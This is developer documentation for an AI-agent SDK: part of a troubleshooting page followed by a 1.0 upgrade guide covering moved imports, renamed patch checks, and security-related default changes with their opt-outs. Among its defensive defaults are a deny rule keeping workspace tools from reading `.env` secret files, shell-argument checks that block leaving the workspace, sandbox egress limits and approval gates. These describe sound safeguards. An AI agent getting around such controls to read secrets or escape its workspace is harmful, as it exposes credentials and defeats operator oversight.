* **Fix:** check `result.finishReason` before reading `result.text`.

### The run seems stuck on a tool

* **Cause:** an approval is pending. A paused `send()` resolves with `finishReason: 'awaiting-approval'` and an `approvalId`; nothing runs until someone decides.
* **Fix:** list the pending calls with `agent.approvals.list()`, then `agent.approvals.resolve({ id, approved })`.
* **More:** [`createAgent()` agents](/approvals#createagent-agents).

### `LOUSHO_SESSION_AWAITING_APPROVAL` or `LOUSHO_SESSION_BUSY`

* **Cause:** a session paused on an approval cannot take new input (`LOUSHO_SESSION_AWAITING_APPROVAL`); `session.compact()` or `session.clear()` was called while a turn was running or queued (`LOUSHO_SESSION_BUSY`).
* **Fix:** resolve the approval, then send again; or await the turn's `send()` (or abort it), then call again.
* **More:** [awaiting approval](/errors#lousho_session_awaiting_approval), [busy](/errors#lousho_session_busy).

## Tools

### The model never calls my tool

* **Cause:** the model decides from the tool's `description` and input schema, so a vague description or unclear fields leave it nothing to go on. The `name` must match `^[a-zA-Z0-9_-]{1,64}$` (1-64 characters of letters, digits, `_` and `-`).
* **Fix:** say in the `description` what the tool does and when to use it, and `.describe()` each input field.
* **More:** [`defineTool()` options](/tools#definetool-options).

### My tool throws and the run goes on

* **Cause:** this is by design. A tool that throws gives the model an error result (`{ error, toolName, message, kind }`) and the run continues, so the model can react.
* **Fix:** if an error must stop the run, throw an error that extends `PropagatingToolError`; that one rejects the run instead.
* **More:** [Tool errors](/tools#errors).

### `LOUSHO_TOOL_ARGS_INVALID`

* **Cause:** the model sent arguments that do not match the tool's input schema. Inside a run it gets the issues back as a result and can retry, so a run seldom ends on it.
* **Fix:** if the model keeps getting a field wrong, make its `.describe()` text clearer. If you called the tool yourself, fix the arguments named in the message.
* **More:** [the error](/errors#lousho_tool_args_invalid).

## Providers and models

### Rate limits and flaky calls

* **Cause:** the provider throttled the call (`LOUSHO_PROVIDER_RATE_LIMITED`) or failed transiently.
* **Fix:** `createAgent()` already retries a failed call twice — but only for a model given as a `provider/model` string or resolved from the environment; a `provider` instance you pass is retried only when you set `retry`. Raise it with `retry: { maxRetries: 3 }`, and set `fallbackModels` to move on to the next model when the call still fails.
* **More:** [Retries and fallback models](/providers#retries-and-fallback-models), [the error](/errors#lousho_provider_rate_limited).

### The model does not read my files

* **Cause:** a built-in provider sends a file part only for the media types it supports on your `ai` major: on `ai` 6/7 `application/pdf` reaches `openai`, `anthropic` (which also sends `text/plain`) and `openrouter`. Every other media type — and every file on `ai` 4 or `ollama` — rejects the call with `LOUSHO_UNSUPPORTED_CONTENT` (or, with the provider's `unsupportedFiles: 'text-note'`, is sent as a text note, `[file report.pdf (application/pdf) not sent]`). Images are sent.
* **Fix:** use `ai` 6 or 7 with a media type the provider sends (see the table), put the file's text in the message, add a `fallbackModels` entry that takes the file, or use a provider subclass whose model takes files.
* **More:** [Multimodal input](/providers#multimodal-input).

### I do not see the model's reasoning

* **Cause:** reasoning is reported separately from the answer, as `reasoning.*` events in `agent.stream()` and as `result.reasoning`; it is not in `result.text`. Options are only sent to model families known to accept them, and `reasoning: 'none'` sends nothing.
* **Fix:** read `result.reasoning` or the `reasoning.delta` events; for a model outside the known families, pass `{ effort, force: true }`.
* **More:** [Reasoning](/reasoning).

## Sandbox, MCP and deployment

### Docker sandbox: "egress is unsupported"

* **Cause:** a `SubprocessSandbox` with `network: { allow }` and a `broker` needs the broker to be the container's only way out. Docker Desktop, rootless Docker, a daemon on another machine and an Engine older than 25.0.5 cannot do that, so no container starts (`LOUSHO_SANDBOX_EGRESS_UNSUPPORTED`). This is refused on purpose rather than granting open egress.
* **Fix:** run the agent on the Linux host of a Docker Engine 25.0.5 or later, or use `network: 'none'`.
* **More:** [Sandboxed shell](/workspace-tools#sandboxed-shell-sandboxshell), [the error](/errors#lousho_sandbox_egress_unsupported).

### An MCP server's tools do not appear

* **Cause:** the servers connect on `await agent.ready()` or on the first `send()` / `stream()`, and a server that cannot connect fails that call. Each tool is named `<server>__<tool>` (for example `docs__search`), so look for that name, not the server's own.
* **Fix:** `await agent.ready()` to see the connection error. With `connectMcp()`, check `status()`, which maps each server to `'idle'`, `'connected'`, `'failed'` or `'needs-auth'` (an `oauth` server whose app still needs to sign in — see `agent.oauth.mcpSignInUrl()`); `onError: 'skip'` leaves a failing server out and warns through `logger`. MCP needs the optional peer `@modelcontextprotocol/sdk`.
* **More:** [Use MCP servers in an agent](/mcp-integration#use-mcp-servers-in-an-agent).

### My Worker build rejects the provider or tool

* **Cause:** the `cloudflare-worker` target supports the `mock`, `openai`, `anthropic` and `openrouter` providers, and the `current-date`, `day-name` and `http` tools (`http` reaches only the hosts listed in the `LOUSHO_HTTP_ALLOW` binding). `ollama` and the `web-fetch` tool are not supported there, and `lousho build` fails with an error naming the one it rejected.
* **Fix:** use another provider or tool, or build for the `node-server` or `docker` target.
* **More:** [Cloudflare Workers](/cloudflare-workers#providers-and-tools).

## Getting help

Open an issue at [https://github.com/LinuxDevil/agent-sdk/issues](https://github.com/LinuxDevil/agent-sdk/issues). Include:

* the output of `npx lousho doctor --json`,
* the error code (`LOUSHO_...`) and the full message,
* the SDK version (`npm ls @lousho/build-ai-agent`) and your `ai` version.

Never paste an API key.


# Upgrading to 1.0
Source: https://lousho.com/upgrading



## Who needs this page

Anyone with code written against `1.0.0-alpha.8` or an earlier `1.0.0-alpha.*`
release. Between those alphas and the 1.0 line (the changes listed under
`1.0.0-alpha.19` in the changelog, first published in `1.0.0-alpha.15`) the
package's public surface was reorganized: imports moved to subpaths, dead or superseded APIs were
removed, and the patch guardrails were renamed patch checks. `createAgent()`
and its options did not change - an agent that only does
`createAgent({ model, instructions, tools })` and `agent.send()` upgrades by
changing nothing but the version.

Already on `1.0.0-alpha.19`? Skip to
[Upgrading from alpha.19](#upgrading-from-alpha-19) for what changed on `main`
since.

```bash theme={null}
npm install @lousho/build-ai-agent@^1.0.0-alpha.19
```

## Import paths that moved

The package root now holds `createAgent()` and the names its config and
results use. Everything below moved to a dedicated subpath; the declarations
are unchanged apart from where they live.

| Name(s) | Old import | New import |
| - | - | - |
| `AgentExecutor`, `AgentBuilder`, `ExecuteOptions`, `ResumeExecuteOptions`, `ResumeRequest`, `resumeAfterApproval()`, `streamResumeAfterApproval()`, `resumeRequest()` | `@lousho/build-ai-agent` or `@lousho/build-ai-agent/core` | `@lousho/build-ai-agent/executor` |
| `ToolRegistry`, `globalToolRegistry` | `@lousho/build-ai-agent` or `@lousho/build-ai-agent/core` | `@lousho/build-ai-agent/executor` (also still in `@lousho/build-ai-agent/tools`) |
| `ExecutionResult`, `ExecutionFinishReason` (the executor's types) | `@lousho/build-ai-agent/core` | `@lousho/build-ai-agent/executor` (`ExecutionResult` is also still in the root, where `createAgent()`'s result type lives) |
| `FlowBuilder`, `FlowExecutor`, `validateFlow` and every flow type (`AgentFlow`, `EditorStep`, `FlowExecutionEvent`, ...) | `@lousho/build-ai-agent` or `@lousho/build-ai-agent/types` | `@lousho/build-ai-agent/flows` |
| `createJiraTools`, `createGitHubTools`, `createSlackTool`, `slackTool`, `postSlackAlert`, `createEmailTool` and their types | `@lousho/build-ai-agent` or `@lousho/build-ai-agent/tools` | `@lousho/build-ai-agent/integrations` |
| `EncryptionUtils`, `DTOEncryptionFilter`, `DecryptionError`, `sha256`, `generatePassword` | `@lousho/build-ai-agent` | `@lousho/build-ai-agent/utils` |
| `StorageService`, `StorageServiceApprovalStore`, `LocalStorageCheckpointStore` | `@lousho/build-ai-agent` | `@lousho/build-ai-agent/utils` (with `createAgent()` stores, prefer `fileStore(dir)` from the root) |
| `validateWithSchema`, `safeValidate`, `isValidEmail` and the other validators | `@lousho/build-ai-agent` | `@lousho/build-ai-agent/utils` |

The `@lousho/build-ai-agent/core` subpath no longer exists; everything it
exported is under `/executor`.

```ts theme={null}
import { AgentExecutor, AgentBuilder, ToolRegistry } from '@lousho/build-ai-agent/executor';
import { FlowBuilder, validateFlow } from '@lousho/build-ai-agent/flows';
import { createSlackTool } from '@lousho/build-ai-agent/integrations';
import { EncryptionUtils, validateWithSchema } from '@lousho/build-ai-agent/utils';
```

## Removed APIs and their replacements

* **`AgentType`, `AgentTypeDescriptor`, `AgentConfig.agentType`,
  `AgentBuilder.setType()` and the agent-type registry**
  (`agentTypesRegistry`, `getAgentTypeDescriptor`, `getAllAgentTypeDescriptors`,
  `isValidAgentType`, `validateAgentConfig`, `validateAgentTools`). They had no
  runtime effect: delete the `setType(...)` call and the `agentType` field. A
  checkpoint saved with `agentType` still loads; the field is ignored.
* **`ExecuteOptions.onEvent`** and the `ExecutionEvent` / `ExecutionEventType`
  types. Pass `onAgentEvent` to `AgentExecutor.execute()` / `stream()` /
  `resumeAfterApproval()` instead; the events you now receive are `AgentEvent`s.
  The event-name mapping is in
  [Streaming](/streaming#migrating-from-onevent-/-executionevent). With `createAgent()`, `onEvent` already
  receives `AgentEvent`s and is unchanged.
* **`createDelegateTool()`**, `DelegateAgentOptions`, `DelegateAgentResult` and
  `DelegationDepthExceededError`. Use the `subagents` option on `createAgent()`
  or `AgentExecutor.execute()`: the model gets one `task` tool per sub-agent,
  with a depth limit (`maxSubagentDepth`, default `1`) instead of the thrown
  error. See [Sub-agents](/sub-agents).
* **Types nothing implemented or used**: the repository interfaces
  (`IRepository`, `IAgentRepository`, `ISessionRepository`, `IResultRepository`,
  `SessionData`, `ResultData`, `SDKRepositories`), `DataLoadingStatus`,
  `PaginationParams`, `PaginatedResponse`, `DeepPartial`, `Timestamped`,
  `IdEntity`, `AgentExecutionOptions`, `AgentExecutionResult`, `AgentDefinition`
  and `ToolSetting`. If your code used one, copy its declaration into your
  project.

```ts theme={null}
// Before (alpha):
import { createDelegateTool } from '@lousho/build-ai-agent';
const delegate = createDelegateTool({ agent: billing, name: 'billing' });
```

```ts theme={null}
// After (1.0): the lead gets a `task` tool per sub-agent.
import { createAgent } from '@lousho/build-ai-agent';

const billing = createAgent({ model: 'openai/gpt-4o-mini', instructions: 'You answer billing questions.' });
const lead = createAgent({
  model: 'openai/gpt-4o-mini',
  instructions: 'Route questions to the right specialist.',
  subagents: { billing },
});
```

## Renamed APIs

The patch guardrails are now called patch checks, so "guardrail" only means
the input/output/tool guardrails of `createAgent({ guardrails })`. Arguments,
results and behavior are unchanged; `SECRET_PATTERNS` keeps its name. See
[Guardrails and sandboxing](/guardrails).

| Old name | New name |
| - | - |
| `runGuardrails` | `runPatchChecks` |
| `Guardrail` | `PatchCheck` |
| `GuardrailResult` | `PatchCheckResult` |
| `ProposedAction` | `ProposedPatch` |
| `RunGuardrailsResult` | `RunPatchChecksResult` |
| `runGuardrailSafely` | `runPatchCheckSafely` |
| `secretScanGuardrail` | `secretScanCheck` |
| `createDiffSizeGuardrail` | `createDiffSizeCheck` |
| `createCommandGuardrail` | `createCommandCheck` (options type `CommandCheckOptions`) |
| `createTestRunGuardrail` | `createTestRunCheck` |
| `createLintGuardrail` | `createLintCheck` |

## Migrating from triggers

`WebhookTriggerAdapter`, `SlackTriggerAdapter`, `CronTriggerAdapter` and their option/handle types were removed from `@lousho/build-ai-agent/triggers`. `TriggerAdapter`, `TriggerRegistry`, the `WebhookAuth` helpers, `verifySlackSignature()` and `parseCronExpression()` stay. See [Triggers](/triggers).

| Removed | Replacement |
| - | - |
| `WebhookTriggerAdapter`, `WebhookTriggerAdapterOptions`, `WebhookTriggerHandle` | `webhookChannel()`, mounted with `mountChannels()`; it takes the same `auth` option. See [Channels](/channels) |
| `SlackTriggerAdapter`, `SlackTriggerAdapterOptions` | `slackChannel()`, mounted with `mountChannels()` - sessions per thread, approval buttons. See [Channels](/channels#slack) |
| `CronTriggerAdapter`, `CronTriggerAdapterOptions`, `CronIntervalOptions`, `CronExpressionOptions` | `defineSchedule()` with `startSchedules()`, `schedules/` in an agent directory, or cron triggers in a spec file. There is no `intervalMs`: write the cron expression (`*/5 * * * *`). See [Schedules](/schedules) |

## Deprecated, still working in 1.x

These names still work in 1.x and are removed in 2.0. Move off them when you
touch the code; nothing breaks if you do not.

| Deprecated | Replacement |
| - | - |
| `ToolRunContext` | `ToolExecutionContext`, the one public execute-context type |
| `RunUsage.promptTokens` | `RunUsage.inputTokens` |
| `RunUsage.completionTokens` | `RunUsage.outputTokens` |
| `AiSdkProvider.convertMessages()` (a protected `ai` v4-shaped hook) | Do not override it in new code; it stays for the built-in providers until 2.0. See [Providers](/providers) |

## Other behavior changes since alpha.8

The full list is in the [CHANGELOG](/changelog). The entries that change
runtime behavior or types your code may rely on, one line each:

* The moves, removals and renames above are the `### Breaking` section; the
  notes below are the `### Changed` entries that alter behavior.
* A tool whose `execute` returns an async generator is now iterated - its last
  yielded value is the result - and `AgentEvent` gains `tool.partial`
  (`ToolPartialEvent`); wrap a generator you mean to return as a value
  (`{ items: generator }`). See [Tools](/tools) and
  [Stream events](/stream-events).
* `AgentEvent` gains the `handoff` event and `ExecutionResult` the optional
  `agentName`: an exhaustive `switch` over `event.type` needs a `handoff`
  case. See [Handoffs](/handoffs).
* `McpServerStatus` gains `'needs-auth'` and `AgentOAuth` gains
  `mcpSignInUrl(server)`: an exhaustive `switch` over `connectMcp().status()`
  needs the new case. See [MCP](/mcp-integration) and [OAuth](/oauth).
* `ToolExecutionContext` gains `getToken(provider)` and `requireAuth(provider)`,
  and `ApprovalKind` gains `'sign-in'`: a hand-built tool context in a test
  needs the two methods (or a cast). See [OAuth](/oauth).
* With a listener (`createAgent({ onEvent })`, `onAgentEvent`), `send()` and
  `execute()` now stream model calls: a step's text arrives as several
  `text.delta` events instead of one. `execute({ streamModelCalls: false })`
  restores the old shape. See [Stream events](/stream-events).
* `MockLLMProvider` / `createMockProvider()`: `stream()` now streams the same
  step `generate()` returns - the same tool calls, finish reason and usage -
  so a streamed mock run calls tools as `send()` does. See
  [Testing](/testing).
* Agent Forge runs stream their model calls; the chat, logs and trace views
  are unchanged. See [Agent Forge](/agent-forge).
* `lousho init --provider ollama` now scaffolds `ai@^7` with
  `ollama-ai-provider-v2@^4` and `zod@^4` (it was `ai@^4` with
  `ollama-ai-provider@^1` and zod 3). Existing projects are untouched. See
  [Installation](/installation#provider-packages).
* A run paused inside a sub-agent compares the sub-agent with its current
  definition on resume, under the lead's `onAgentDrift` - with `'error'` a
  changed sub-agent now rejects `agent.approvals.resolve()` too. See
  [Durable execution](/durable-execution#resuming-with-a-changed-agent).
* `lousho add` enforces the registry permission manifest at install, and a
  loaded agent directory runs each item's tools inside its accepted manifest
  (approval always on for `exec`/`needsApproval`/unattested items, `fetch`
  and `process.env` scoped to the declaration); mismatched code is refused
  with `LOUSHO_REGISTRY_MANIFEST_MISMATCH`, and `--yes` needs `--allow` for
  elevated permissions. See [Registry](/registry#permission-manifest).
* Continuing an unfinished checkpointed run with a `principal` other than the
  one it was saved with now throws `LOUSHO_CONFIG_INVALID`; checkpoints and
  approval snapshots store the run's principal. See
  [Route auth and principals](/auth).
* Memory slots store their items under `<slot name>#<scope key>`
  (`notes#global`) instead of the bare scope key (`global`), so two slots with
  the same scope no longer share items. Items written by `1.0.0-alpha.19` or
  earlier are not read any more; run `migrateMemoryKeys(slot)` once per slot
  to copy them. See
  [Memory](/memory#items-from-before-slot-name-keys).
* The published package is smaller: test-only files no longer ship, and
  source maps no longer embed `sourcesContent` (their `sources` still resolve
  to the shipped `src/`). No API change.

## Upgrading from alpha.19

`1.0.0-alpha.19` is the latest release on npm. The changes on `main` since
then (the `[Unreleased]` section of the [CHANGELOG](/changelog)) are
mostly fixes and additions, but some change a default or a behavior your code
may rely on. Each is listed below with the way back to the old behavior, where
there is one. A change marked "no opt-out" closed a security or data-loss bug.

### HTTP routes, servers and channels

| Change | Opt-out |
| - | - |
| With route auth and no `authorizeSession`, a session belongs to the first principal that sends it a turn (a read claims nothing); another principal gets `403 LOUSHO_SESSION_FORBIDDEN`. The owner is kept in memory per agent (the 100,000 most recently used sessions); a stored session whose owner is not on record (after a restart, past that cap) is refused to everyone, so pass `authorizeSession` on more than one instance or with a store that outlives the process. One bearer token is one caller and checks no owner. See [Who may use a session](/auth#who-may-use-a-session). | `authorizeSession: () => true` |
| The session routes (`createRouteHandler()`, `createDeployedServer()`, the Worker, `lousho dev`) refuse a cross-site POST (`403 LOUSHO_REQUEST_FORBIDDEN`) and a POST body that is not `Content-Type: application/json` (`415 LOUSHO_UNSUPPORTED_MEDIA_TYPE`). The new `allowedHosts` (off by default) refuses unlisted `Host` headers. See [Cross-site requests](/auth#cross-site-requests). | `allowedOrigins: ['*']`, `requireJsonBody: false` (or list the front end's origin in `allowedOrigins`) |
| `POST /chat/:sessionId/approvals/:id` answers `404` unless the approval belongs to that session, and only the caller the paused run acts for may decide it. | `authorizeApproval` to let others (a supervisor) decide |
| `POST /chat` to a session paused on an approval answers `409` JSON (`LOUSHO_SESSION_AWAITING_APPROVAL`, with `approvalId` and `approvalIds`) instead of a `200` stream that ends in an `error` event. | no opt-out (decide the approval first) |
| The routes send an error's `name` and `code` with a generic message instead of its raw text (in `error` events, `500` bodies and `provider.retry` / `provider.fallback` events); the full error goes to `console.error`. | `exposeErrors: true` (`lousho dev` sets it) |
| A client that disconnects mid-turn no longer aborts the turn: it runs to its end and is saved. See [Next.js routes](/nextjs#routes). | `onDisconnect: 'abort'` |
| `lousho dev` answers `403` to a request whose `Host` is not a loopback name (or, off loopback, an IP address or the `--host` name), against DNS rebinding; this covers `/channels/<name>` for a channel without `verify`. | `--allowed-hosts a,b` (adds to the defaults) |
| A channel without `verify` refuses a browser request from another site (`403 LOUSHO_REQUEST_FORBIDDEN`), and `httpChannel()` without `verify` refuses a body that is not `Content-Type: application/json` (`415 LOUSHO_UNSUPPORTED_MEDIA_TYPE`). See [Channels](/channels). | give the channel a `verify` (send the JSON content type from scripts: `curl -H 'Content-Type: application/json'`) |
| The Cloudflare Worker refuses every `/chat` route (a turn, a transcript, an approval decision; `403`) when no `LOUSHO_API_TOKEN` secret is set. `/health`, the OAuth callback and channels stay open. See [Cloudflare Workers](/cloudflare-workers). | the `LOUSHO_ALLOW_OPEN_SESSIONS` var (or the earlier `LOUSHO_ALLOW_OPEN_TRANSCRIPTS`) set to `"true"` |
| `serveMcp()` over HTTP checks `Host` and `Origin` against DNS rebinding; loopback is exactly `localhost`, a `127.x.x.x` address or `::1` (also for `webhookChannel()`). | `allowedHosts` / `allowedOrigins` on `serveMcp()`'s HTTP transport (`['*']` turns a check off) |
| Agent Forge (`lousho studio`) sends no CORS headers, refuses a foreign `Origin` or non-loopback `Host`, and needs the per-launch token it prints. See [Access token](/agent-forge#access-token). | no opt-out |
| `fromUIMessages()` (and so `POST <base>/ui`) drops client-sent `system` messages and any role other than `user` / `assistant`. | no opt-out |
| Slack and Discord signature checks accept a timestamp at most a minute ahead (was five minutes either way), read in seconds. | no opt-out |
| `telegramChannel` and `teamsChannel` no longer post an OAuth sign-in link in a group chat. | no opt-out |
| Channels without a `store` keep their transcripts in the agent's `createAgent({ store })` when it has `sessions`. | pass the channel its own `store` |
| The built node-server (and Docker image) requires `LOUSHO_API_TOKEN` / `auth.ts` on `/channels/<name>` for a channel without `verify` when a token or `auth.ts` is set; self-verifying channels are unchanged. | give the channel a `verify` |
| `webhookChannel` replies `{ sessionId, text, finishReason, approval? }` instead of the full `ExecutionResult`. | `webhookChannel({ fullResult: true })` |
| A channel turn on a session another process is running answers `409` (`LOUSHO_SESSION_BUSY`, `Retry-After: 2`) instead of `500`. | no opt-out (retry after the delay) |
| `POST /chat` on a session another process is running answers `409` (`LOUSHO_SESSION_BUSY`, `Retry-After: 2`) instead of a `200` stream holding only the error. | no opt-out (retry after the delay) |
| The built server resumes runs a crash left in progress when it starts, and every 30 seconds. | `LOUSHO_RECOVER_ON_START=0` |
| The built node-server (and so the Docker image, which sets `HOST=0.0.0.0`) refuses to start on a non-loopback host with no auth (no `LOUSHO_API_TOKEN`, build token or `auth.ts`): it exits with `LOUSHO_SERVER_UNPROTECTED` instead of serving an open agent with a warning. Loopback hosts are unchanged. See [Auth](/deployment#auth). | set `LOUSHO_API_TOKEN` (or add `auth.ts`), or `LOUSHO_ALLOW_PUBLIC=1` to serve the open agent on purpose |

### Sessions, approvals and durability

| Change | Opt-out |
| - | - |
| A checkpointed run holds a run lease while it executes: a second process, replica or store object that sends to the same session, resumes it or resolves one of its approvals fails with `LOUSHO_SESSION_BUSY` instead of running its tool calls a second time. See [Run leases](/durable-execution#run-leases). | no opt-out (a custom `CheckpointStore` without `acquireLease()` gets no lease) |
| Approvals run at most once: deciding one re-saves the turn as `'in-progress'` with the call in `Checkpoint.startedToolCallIds`; after a crash mid-call, resuming gives that call a `kind: 'interrupted'` tool error instead of running it again. See [Guarantees](/durable-execution#guarantees). | no opt-out |
| Resolving an approval whose run was deleted or replaced fails with `LOUSHO_APPROVAL_ORPHANED` and withdraws it (it used to overwrite the newer conversation). | no opt-out |
| A session turn paused for approval locks the session id: a new turn on it throws `SessionAwaitingApprovalError` (`LOUSHO_SESSION_AWAITING_APPROVAL`). | decide the approval, or `session.discardPending()` |
| Session turns keep the checkpoint history of the latest 10 committed turns. See [Durable sessions](/sessions#durable-sessions). | `agent.session({ id, turnHistoryLimit })` with a larger whole number |
| A run id (`agent.send()` / `agent.stream()`'s `sessionId`, a fork's `newSessionId`) must be 1-200 characters of `A-Za-z0-9_.-`, not starting or ending with `.`, on every store, and may not end in `.turn-<n>`, `.paused` or `.fire` (a schedule's fire claim); `''` is refused. This is not the session id rule: a session id (`agent.session({ id })`, the routes' and `lousho dev`'s `sessionId`, `lousho chat --session`) is still 1-128 characters of `A-Za-z0-9_-`, with no `.`. Both fail with `LOUSHO_SESSION_ID_INVALID`. | no opt-out |
| A lease left by a process that died on another machine (or in another container with the same hostname) is taken over 30 to 60 seconds after its last heartbeat (a grace for clock skew), not at 30 seconds. See [Run leases](/durable-execution#run-leases). | no opt-out |
| During a rolling upgrade, replicas still on an earlier release neither take nor respect run leases, so a turn can run twice until every replica is upgraded. A SQLite database opened by this release is migrated and then refused by older releases. | upgrade all replicas together; keep a copy of the database to roll back |
| `approvalTtlMs` (and an `ask` rule's `ttlMs`) above 100 years throws `LOUSHO_CONFIG_INVALID` instead of meaning "never expires". | leave it out for pauses that never expire |
| A deterministic provider error records `lastError` on the turn's checkpoint, and later calls on that session fail fast with `LOUSHO_SESSION_TURN_FAILED`. | `session.discardPending()`, or fix the cause and `session.resume()` |
| With a store, tools, `needsApproval`, permission rules and hooks get the session id as `ctx.sessionId`, not the turn checkpoint key `<id>.turn-<n>`. | no opt-out |
| Several calls of one step that need approval pause once, on all of them (`result.approvalIds`); calls that need no approval run before the pause. See [Several calls in one step](/approvals#several-calls-in-one-step). | no opt-out |
| `once()` no longer remembers a yes from a `createAgent({ approve })` callback, and an approval note that is exactly `'defer'` defers. | no opt-out |
| A corrupt checkpoint fails with `LOUSHO_CHECKPOINT_CORRUPT` (it threw a raw `SyntaxError`). | no opt-out |
| Memory slots store items under `<slot name>#<scope key>`; items written by alpha.19 are not read. | run `migrateMemoryKeys(slot)` once per slot ([Memory](/memory#items-from-before-slot-name-keys)) |
| Keyword recall (`inMemoryMemory`, `fileMemory`, `sqliteMemory`, worker memory) matches whole words instead of substrings. | no opt-out |
| A prompt schedule runs every fire in its own session, `schedule-<name>-<fire time>`. See [Prompt schedules and sessions](/schedules#prompt-schedules-and-sessions). | `defineSchedule({ sharedSession: true })` |
| `FlowExecutor.resume()` refuses a flow whose steps changed since the run was saved (`LOUSHO_FLOW_CHANGED`). | no opt-out |

### Providers and model calls

| Change | Opt-out |
| - | - |
| `createAgent({ provider })` with a built-in provider instance or a `fromAiSdk()` provider and no `retry` wraps it in `withRetry()` with the provider's `maxRetries` (default 2): retries emit `provider.retry`, and `fromAiSdk()` retries (it made none). See [Provider retries and fallback](/configuration#provider-retries-and-fallback). | `retry: false` |
| A rate-limited call (a 429) has the code `LOUSHO_PROVIDER_RATE_LIMITED` instead of `LOUSHO_PROVIDER_REQUEST_FAILED`. An out-of-credit account (`insufficient_quota`, a 402) is the non-retryable category `quota-exceeded`. | no opt-out: match both codes |
| The built-in providers' `timeout` is applied: 10 minutes by default, for the wait for a response to start and between two chunks. See [Request timeout](/providers#request-timeout). | `timeout: 0` (or `Infinity`) |
| `OpenAIProvider` sends `store: false` on the Responses API. See [OpenAI response storage](/providers#openai-response-storage-store). | `store: true` |
| A user file part the provider cannot send rejects the call with `LOUSHO_UNSUPPORTED_CONTENT` instead of a `[file ... not sent]` note. See [Multimodal input](/providers#multimodal-input). | `unsupportedFiles: 'text-note'` |
| `LLMProviderConfig` has no index signature: a misspelled option is a type error. | extend the interface for a custom provider's own fields |
| A 200 response that carries a failure (`finish_reason: "error"`, an `error` chunk) fails the call with a retryable error instead of succeeding with truncated text; an unknown finish reason is `'other'`, and `ExecutionFinishReason` is a closed union. | no opt-out |
| An aborted run ends `finishReason: 'aborted'` at once, even when the provider ignores the signal. See [Cancellation](/runs#cancellation). | no opt-out |
| The `openrouter` provider created without `apiKey` reads `OPENROUTER_API_KEY` (it sent `OPENAI_API_KEY`). | pass `apiKey` |
| The `@modelcontextprotocol/sdk` peer range is `^1.31.0`. | no opt-out |
| With `output`, `responseFormat` is sent only on model calls that offer no tools (an agent without tools, the "answer now" call at `maxSteps`, the repair step); a call that offers tools relies on the schema in the prompt. A strict `json_schema` next to tools made `openai/gpt-4o-mini` via OpenRouter call tools until `maxSteps`. See [How it works](/structured-output#how-it-works). | `output: { schema, responseFormat: 'always' }` (already the default with `promptSchema: false`) |

### Tools, MCP and tracing

| Change | Opt-out |
| - | - |
| MCP tools ask for approval by default (`approval: 'always'`); an MCP tool whose name equals a local tool's is refused. See [Approval for MCP tools](/mcp-integration#approval-for-mcp-tools). | `approval: 'annotations'` on servers you trust |
| Tool results are capped at 50,000 characters (head and tail kept). | `maxToolResultChars: Infinity` |
| `createAgent()` and `defineTool()` throw `LOUSHO_CONFIG_INVALID` for an option key they don't know, with a suggestion. | no opt-out (remove or rename the key) |
| The workspace file tools deny `.env` and `.env.*` by default (not `.env.example`, `.env.sample`, `.env.template`). | pass your own `deny` list (it replaces the defaults) |
| `defineTool()` throws `LOUSHO_CONFIG_INVALID` for a non-object `input` root or a `z.date()` / `z.bigint()` field; tool-call arguments that are not valid JSON reach the model as `LOUSHO_TOOL_ARGS_INVALID` instead of running the tool with `{}`. | no opt-out |
| A flow `toolCall` step passes the agent's gate (`permissions`, `permissionMode`, approval) and validates its arguments; a call that needs approval fails with `LOUSHO_FLOW_TOOL_DENIED` without `approve`. See [Flows](/flows#tool-calls). | pass `approve` in the flow context |
| `createShellTool` `allow` string patterns refuse arguments that leave the workspace (`..`, `~`, absolute paths), also through quotes. | an `allow` `CommandRule` with an `args` check |
| `createFsTools` tools refuse paths through `.git` and leave `.git` out of `glob`, `grep` and `list_dir` results. See [Security model](/workspace-tools#security-model). | `deny: []` |
| `SubprocessSandbox` writes only under `root` and runs containers as `1000:1000` with all capabilities dropped. See [Sandboxed tools](/guardrails#sandboxed-tools). | `root`, `user: 'root'` |
| An MCP result made only of text reaches the model as `{ "text": ... }`. | no opt-out |
| `redactContent` defaults to `true`: the deprecated `input` / `prompt` / `args` / `result` span attributes are left out, so `fileTraceExporter()` files hold no content. See [Observability](/observability#message-and-argument-content-is-opt-in). | `redactContent: false` (or `captureContent: true` for the `gen_ai.*` content) |
| `agent.stream()` rethrows the run's error after the `error` and `run.done` events. See [Streaming](/streaming). | `stream(input, { throwOnError: false })` |
| `send([])` throws `LOUSHO_CONFIG_INVALID`. | no opt-out |

### CLI, evals and Agent Forge

| Change | Opt-out |
| - | - |
| `lousho dev`, `chat`, `acp`, `mcp`, `doctor`, `eval` and `build` load `./.env` when it exists; variables already set win. See [CLI](/cli). | remove or rename `.env` |
| Every `lousho` usage error (unknown command or flag, bad value, extra argument) exits 2; 1 means the command ran and failed. See [CLI](/cli). | check for a non-zero exit instead of exactly 1 |
| `t.maxCostUsd(n)` fails when a run reports no cost (the model has no known price). See [Evals](/evals). | `t.maxCostUsd(n, { unknownCost: 'skip' })` |
| `lousho eval` gives each live, `--record` and `--drift` case 10 minutes instead of vitest's 5 s. See [Time limits](/evals#time-limits). | `--timeout <ms>` or `defineEval({ timeoutMs })` |
| Agent Forge fails a run on a real provider with no API key (`LOUSHO_PROVIDER_MISSING_API_KEY`) instead of silently using the mock provider. | switch the agent's provider to `mock` |
| The npm package no longer ships `llms-full.txt` (it stays in the repository; `llms.txt` ships). | fetch `llms-full.txt` from the repository |
| `lousho eval` exits 1 when no case ran (every case skipped by `--tag`, or no `defineEval()` in the files). | pass the tags or globs that select cases |
| `lousho mcp --port N` or `--host H` without `--http` is a usage error (exit 2); stdio has no port. | drop the flags, or add `--http` |
| The `package.json` of a node-server or docker build no longer lists `@lousho/build-ai-agent` (the bundle contains it). | add it yourself if other code next to the build imports the SDK |
| The npm package no longer ships `dist/cli/*.js` (the CommonJS CLI build) or `dist/cli/*.d.ts`; `bin/lousho.js` never loaded them. | run the CLI through `bin/lousho.js` (`npx lousho`) |

## What 1.0 promises

Starting at 1.0 the package follows semver on its public surface:

* **Public**: every entry point `exports` declares - the root
  `@lousho/build-ai-agent` and the `/executor`, `/tools`, `/flows`,
  `/integrations`, `/utils`, `/mcp`, `/types`, `/testing`, `/otel`, `/hooks`,
  `/sqlite`, `/auth`, `/kv`, `/worker`, `/traces`, `/triggers`, `/react`,
  `/vue` and `/svelte` subpaths - and every name in the checked-in API
  reports (`api/index.api.md`, `api/executor.api.md`, ... in the repository).
  Removing or renaming one, or changing a signature, needs a major version.
* **Internal**: everything else, including deep imports into `dist/` or
  `src/` (any path `exports` does not list) and names a public signature uses
  but does not export (the `ae-forgotten-export` entries in the reports).
  These can change in any release.
* **Deprecated**: names marked `@deprecated` keep working through 1.x and are
